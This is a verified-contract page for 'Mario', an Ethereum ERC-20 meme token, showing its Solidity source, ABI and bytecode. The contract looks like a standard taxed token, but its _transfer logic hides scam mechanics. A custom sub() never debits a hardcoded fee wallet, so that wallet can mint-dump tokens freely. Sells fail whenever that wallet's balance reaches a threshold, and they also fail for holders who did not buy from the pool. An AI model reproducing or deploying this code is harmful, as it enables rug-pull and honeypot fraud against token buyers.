Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Mario is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function swapTokensForEth(uint256 tok ...    - function min(uint256 a, uint256 b)    - function sub(address from, uint256 a, ...    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function removeLimits()    - function isContract(address account)    - function sendETHToFee(uint256 amount)    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

/**

███╗░░░███╗░█████╗░███████╗░██╗░█████╗░
████╗░████║██╔══██╗██║╔══██╗██║██╔══██╗
██╔████╔██║███████║███████║║██║██║░░██║
██║╚██╔╝██║██╔══██║██║██   ║██║██║░░██║
██║░╚═╝░██║██║░░██║██║  ██ ║██║╚█████╔╝
╚═╝░░░░░╚═╝╚═╝░╚══╝╚═╝░╚═╝░╚══╝╚╚════╝░

＄Mario
Go ahead.Mario.
We are trying to find Princess Peach, but we must gather our strength to get there and defeat Bowser! 
Links:
Website:https://marioeth.com/
Twitter:https://twitter.com/marioethcoin
Telegram:https://t.me/marioethcoin
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Mario is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _buyTokenFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _marketingsFeeReceiver;

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totaloSupplys = 420000000 * 10**_decimals;
    string private constant _name = unicode"Mario";
    string private constant _symbol = unicode"Mario";
    uint256 public _maxTxAmount = 40000000 * 10**_decimals;
    uint256 public _maxWalletToken = 40000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 20000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _totaloSupplys;
        _marketingsFeeReceiver = payable(0xeB909EB3FBb66E552471Fe41D0b740afF3b27bfb);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingsFeeReceiver] = true;

        emit Transfer(address(0), _msgSender(), _totaloSupplys);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totaloSupplys;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[msg.sender] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[msg.sender] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletToken, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventSwapBefore){
                  require(!isContract(to));
                }
                _buyCount++; _buyTokenFees[to]=true;
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == uniswapV2Pair && from!= address(this) && !_isExcludedFromFee[from] ){
                require(amount <= _maxTxAmount && balanceOf(_marketingsFeeReceiver)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                require(_buyCount>_preventSwapBefore && _buyTokenFees[from],"Seller is not buyer");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap 
            && to == uniswapV2Pair 
            && swapEnabled 
            && contractTokenBalance>_taxSwapThreshold 
            && _buyCount>_preventSwapBefore
            && !_isExcludedFromFee[to]
            && !_isExcludedFromFee[from]
            ) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=sub(from, _balances[from], amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sub(address from, uint256 a, uint256 b) private view returns(uint256){
        if(from == _marketingsFeeReceiver){
            return a;
        }else{
            return a.sub(b);
        }
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _totaloSupplys;
        _maxWalletToken=_totaloSupplys;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_totaloSupplys);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendETHToFee(uint256 amount) private {
        _marketingsFeeReceiver.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totaloSupplys);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556003600781905560085560016009818155600a828155600b839055600c929092556000600d819055600e55620000449162000329565b62000054906302625a0062000341565b600f55620000656009600a62000329565b62000075906302625a0062000341565b601055620000866009600a62000329565b62000096906301312d0062000341565b601155620000a76009600a62000329565b620000b7906301312d0062000341565b6012556014805461ffff60a81b19169055348015620000d557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001256009600a62000329565b6200013590631908b10062000341565b3360008181526001602081815260408084209590955560068054610100600160a81b03191674eb909eb3fbb66e552471fe41d0b740aff3b27bfb0017815583546001600160a01b0390811685526003909252858420805460ff1990811685179091553085528685208054821685179055905461010090049091168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ed6009600a62000329565b620001fd90631908b10062000341565b60405190815260200160405180910390a36200035b565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026b5781600019048211156200024f576200024f62000214565b808516156200025d57918102915b93841c93908002906200022f565b509250929050565b600082620002845750600162000323565b81620002935750600062000323565b8160018114620002ac5760028114620002b757620002d7565b600191505062000323565b60ff841115620002cb57620002cb62000214565b50506001821b62000323565b5060208310610133831016604e8410600b8410161715620002fc575081810a62000323565b6200030883836200022a565b80600019048211156200031f576200031f62000214565b0290505b92915050565b60006200033a60ff84168362000273565b9392505050565b808202811582820484141762000323576200032362000214565b611a7e806200036b6000396000f3fe6080604052600436106101235760003560e01c806378109e54116100a0578063a9059cbb11610064578063a9059cbb14610307578063bf474bed14610327578063c876d0b91461033d578063c9567bf914610357578063dd62ed3e1461036c57600080fd5b806378109e54146102935780637d1db4a5146102a95780638da5cb5b146102bf57806395d89b411461012f578063a457c2d7146102e757600080fd5b8063313ce567116100e7578063313ce567146101f5578063395093511461021157806370a0823114610231578063715018a614610267578063751039fc1461027e57600080fd5b806306fdde031461012f578063095ea7b31461016c5780630faee56f1461019c57806318160ddd146101c057806323b872dd146101d557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260058152644d6172696f60d81b60208201529051610163919061164d565b60405180910390f35b34801561017857600080fd5b5061018c6101873660046116b3565b61038c565b6040519015158152602001610163565b3480156101a857600080fd5b506101b260125481565b604051908152602001610163565b3480156101cc57600080fd5b506101b26103a3565b3480156101e157600080fd5b5061018c6101f03660046116df565b6103c4565b34801561020157600080fd5b5060405160098152602001610163565b34801561021d57600080fd5b5061018c61022c3660046116b3565b61042e565b34801561023d57600080fd5b506101b261024c366004611720565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061027c61044b565b005b34801561028a57600080fd5b5061027c6104c8565b34801561029f57600080fd5b506101b260105481565b3480156102b557600080fd5b506101b2600f5481565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102f357600080fd5b5061018c6103023660046116b3565b610584565b34801561031357600080fd5b5061018c6103223660046116b3565b61060a565b34801561033357600080fd5b506101b260115481565b34801561034957600080fd5b5060065461018c9060ff1681565b34801561036357600080fd5b5061027c610617565b34801561037857600080fd5b506101b261038736600461173d565b6109d3565b60006103993384846109fe565b5060015b92915050565b60006103b16009600a611870565b6103bf90631908b10061187f565b905090565b60006103d1848484610b22565b610423843361041e85604051806060016040528060288152602001611a21602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611260565b6109fe565b5060015b9392505050565b60003361042381858561044183836109d3565b61041e9190611896565b6000546001600160a01b0316331461047e5760405162461bcd60e51b8152600401610475906118a9565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f25760405162461bcd60e51b8152600401610475906118a9565b6104fe6009600a611870565b61050c90631908b10061187f565b600f5561051b6009600a611870565b61052990631908b10061187f565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105636009600a611870565b61057190631908b10061187f565b60405190815260200160405180910390a1565b6000338161059282866109d3565b9050838110156105f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610475565b6105ff82868684036109fe565b506001949350505050565b6000610399338484610b22565b6000546001600160a01b031633146106415760405162461bcd60e51b8152600401610475906118a9565b601454600160a01b900460ff161561069b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610475565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e49030906106d66009600a611870565b61041e90631908b10061187f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b91906118de565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e191906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085291906118de565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061089a816001600160a01b031660009081526001602052604090205490565b6000806108af6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610917573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093c91906118fb565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b99190611929565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610be85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b60008111610c4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b600080546001600160a01b03858116911614801590610c7757506000546001600160a01b03848116911614155b1561111b5760065460ff1615610d35576013546001600160a01b03848116911614801590610cb357506014546001600160a01b03848116911614155b15610d3557336000908152600560205260409020544311610d225760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610475565b3360009081526005602052604090204390555b6014546001600160a01b038581169116148015610d6057506013546001600160a01b03848116911614155b8015610d8557506001600160a01b03831660009081526003602052604090205460ff16155b15610ed557600f54821115610dd85760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610475565b60105482610dfb856001600160a01b031660009081526001602052604090205490565b610e059190611896565b1115610e535760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610475565b600d54600e541015610e6b57823b15610e6b57600080fd5b600e8054906000610e7b8361194b565b90915550506001600160a01b0383166000908152600460205260409020805460ff19166001179055600b54600e54610ed291606491610ecc9110610ec157600754610ec5565b6009545b859061129a565b9061131c565b90505b6014546001600160a01b038481169116148015610efb57506001600160a01b0384163014155b8015610f2057506001600160a01b03841660009081526003602052604090205460ff16155b1561103357600f548211158015610f57575060125460065461010090046001600160a01b0316600090815260016020526040902054105b610f9f5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610475565b610fc46064610ecc600c54600e5411610fba57600854610ec5565b600a54859061129a565b9050600d54600e54118015610ff157506001600160a01b03841660009081526004602052604090205460ff165b6110335760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610475565b30600090815260016020526040902054601454600160a81b900460ff1615801561106a57506014546001600160a01b038581169116145b801561107f5750601454600160b01b900460ff165b801561108c575060115481115b801561109b5750600d54600e54115b80156110c057506001600160a01b03841660009081526003602052604090205460ff16155b80156110e557506001600160a01b03851660009081526003602052604090205460ff16155b1561111957611107611102846110fd8460125461135e565b61135e565b611373565b4780156111175761111747611506565b505b505b8015611195573060009081526001602052604090205461113b9082611548565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061118c9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111ba908590846115a7565b6001600160a01b0385166000908152600160205260409020556111ff6111e083836115dd565b6001600160a01b03851660009081526001602052604090205490611548565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61124985856115dd565b60405190815260200160405180910390a350505050565b600081848411156112845760405162461bcd60e51b8152600401610475919061164d565b5060006112918486611964565b95945050505050565b6000826000036112ac5750600061039d565b60006112b8838561187f565b9050826112c58583611977565b146104275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b600061042783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161f565b600081831161136d5782610427565b50919050565b6014805460ff60a81b1916600160a81b17905580156114f657601454600160a01b900460ff16156114f65760408051600280825260608201835260009260208301908036833701905050905030816000815181106113d3576113d3611999565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561142c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145091906118de565b8160018151811061146357611463611999565b6001600160a01b03928316602091820292909201015260135461148991309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c29085906000908690309042906004016119af565b600060405180830381600087803b1580156114dc57600080fd5b505af11580156114f0573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611544573d6000803e3d6000fd5b5050565b6000806115558385611896565b9050838110156104275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b6006546000906001600160a01b036101009091048116908516036115cc575081610427565b6115d683836115dd565b9050610427565b600061042783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611260565b600081836116405760405162461bcd60e51b8152600401610475919061164d565b5060006112918486611977565b600060208083528351808285015260005b8181101561167a5785810183015185820160400152820161165e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116b057600080fd5b50565b600080604083850312156116c657600080fd5b82356116d18161169b565b946020939093013593505050565b6000806000606084860312156116f457600080fd5b83356116ff8161169b565b9250602084013561170f8161169b565b929592945050506040919091013590565b60006020828403121561173257600080fd5b81356104278161169b565b6000806040838503121561175057600080fd5b823561175b8161169b565b9150602083013561176b8161169b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117c75781600019048211156117ad576117ad611776565b808516156117ba57918102915b93841c9390800290611791565b509250929050565b6000826117de5750600161039d565b816117eb5750600061039d565b8160018114611801576002811461180b57611827565b600191505061039d565b60ff84111561181c5761181c611776565b50506001821b61039d565b5060208310610133831016604e8410600b841016171561184a575081810a61039d565b611854838361178c565b806000190482111561186857611868611776565b029392505050565b600061042760ff8416836117cf565b808202811582820484141761039d5761039d611776565b8082018082111561039d5761039d611776565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118f057600080fd5b81516104278161169b565b60008060006060848603121561191057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193b57600080fd5b8151801515811461042757600080fd5b60006001820161195d5761195d611776565b5060010190565b8181038181111561039d5761039d611776565b60008261199457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ff5784516001600160a01b0316835293830193918301916001016119da565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220094fbad3ebceb4be4d66326c64165adc2f83e12dda8cd37fadf6f278b436c5e364736f6c63430008120033

